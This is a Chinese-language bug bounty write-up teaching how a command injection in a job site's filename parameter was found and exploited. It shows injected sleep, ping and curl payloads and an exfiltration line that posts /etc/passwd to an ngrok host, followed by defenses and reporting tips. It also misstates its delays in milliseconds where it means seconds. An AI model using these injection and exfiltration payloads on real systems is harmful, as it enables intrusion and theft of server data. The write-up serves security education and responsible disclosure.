bug bounty经历分享: 命令注入
字数 1098 2025-08-27 12:33:48
命令注入漏洞实战教学文档
1. 命令注入漏洞概述
命令注入(Command Injection)是一种安全漏洞,攻击者能够在应用程序中注入并执行任意系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时,而没有进行适当的过滤或转义。
2. 漏洞发现过程
2.1 初步识别
- 目标定位:在一个职位列表网站发现可疑参数
- 可疑参数:
filename参数可能存在命令注入风险
2.2 测试方法
时间延迟测试
-
使用
sleep命令验证响应时间变化:filename=sleep 5- 观察响应延迟5-6秒(实际测量6.113毫秒)
filename=sleep 10- 观察响应延迟10-11秒(实际测量11.137毫秒)
网络通信验证
- 使用
ping命令验证与攻击者服务器的通信:filename=ping -c 5 <攻击者服务器IP>- 在攻击者服务器运行
tcpdump监听ICMP包:tcpdump -i <interface> -n icmp - 确认收到5个来自目标服务器的ICMP包
- 在攻击者服务器运行
HTTP请求验证
- 使用
ngrok搭建临时HTTP服务:./ngrok http 80 - 注入curl命令测试:
filename=curl blablabla.ngrok.io- 在ngrok Web界面(
http://127.0.0.1:4040)确认收到请求
- 在ngrok Web界面(
3. 漏洞利用技术
3.1 文件读取
通过命令注入读取服务器敏感文件:
filename=curl -F shl=@/etc/passwd blablabla.ngrok.io
- 将
/etc/passwd文件通过POST请求发送到攻击者服务器 - 使用
-F参数上传文件,shl为表单字段名
3.2 数据外带技术
- 使用
curl、wget等工具将数据外带 - 使用
ngrok等工具绕过防火墙限制 - 使用DNS、ICMP等协议进行数据外带
4. 防御措施
4.1 输入验证
- 对用户输入进行严格的白名单验证
- 禁止特殊字符和命令分隔符(如
;、&、|、$()等)
4.2 安全编码实践
- 使用安全的API替代系统命令调用
- 如必须使用系统命令,使用参数化调用而非字符串拼接
4.3 最小权限原则
- 应用程序运行在最小必要权限账户下
- 限制系统命令的执行能力
4.4 输出编码
- 对命令输出进行适当的编码处理
5. 漏洞报告要点
- 清晰描述:详细说明漏洞位置和利用方式
- 可复现的PoC:提供可重现漏洞的步骤
- 影响评估:说明漏洞可能造成的危害
- 修复建议:提供可行的修复方案
6. 工具推荐
- ngrok:用于创建临时HTTP服务接收外带数据
- tcpdump:网络流量分析工具
- Burp Suite:用于测试和验证Web应用漏洞
- curl/wget:用于验证命令执行和数据外带
7. 总结
命令注入是一种高危漏洞,可能导致服务器完全沦陷。通过时间延迟测试、网络通信验证和文件读取等技术可以确认漏洞存在。防御关键在于严格的输入验证和安全编码实践。在漏洞报告中应提供清晰的复现步骤和修复建议。